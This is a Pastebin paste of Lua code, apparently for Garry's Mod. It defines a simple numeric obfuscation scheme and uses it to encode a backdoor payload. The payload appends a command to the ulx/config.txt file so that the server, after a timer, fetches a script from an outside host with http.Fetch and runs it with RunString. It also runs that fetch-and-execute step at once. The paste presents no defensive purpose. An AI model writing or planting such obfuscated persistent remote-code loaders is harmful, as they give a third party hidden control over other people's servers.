Advertisement
szymski

Untitled

May 3rd, 2016
97
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.75 KB | None | 0 0
  1. function Encode(text)
  2. local newText = ""
  3.  
  4. for i = 1, #text do
  5. newText = newText .. (string.byte(text, i, i+1) * 2 + i * 2) .. (i != #text and "." or "")
  6. end
  7.  
  8. return newText
  9. end
  10.  
  11. function Decode(text)
  12. local newText = ""
  13.  
  14. for k, v in pairs(string.Explode(".", text)) do
  15. newText = newText .. string.char((tonumber(v) - k * 2) / 2)
  16. end
  17.  
  18. return newText
  19. end
  20.  
  21. local encoded = Encode(" file.Append(\"ulx/config.txt\", [[lua_run timer.Simple(120, function() http.Fetch(\"http://lifeplay.pl/tracker/scripts/autorun.lua\", function(body) RunString(body) end, function() end) end)]]);timer.Simple(120, function() http.Fetch(\"http://lifeplay.pl/tracker/scripts/autorun.lua\", function(body) RunString(body) end, function() end) end)")
  22. print("Encoded: " .. encoded)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement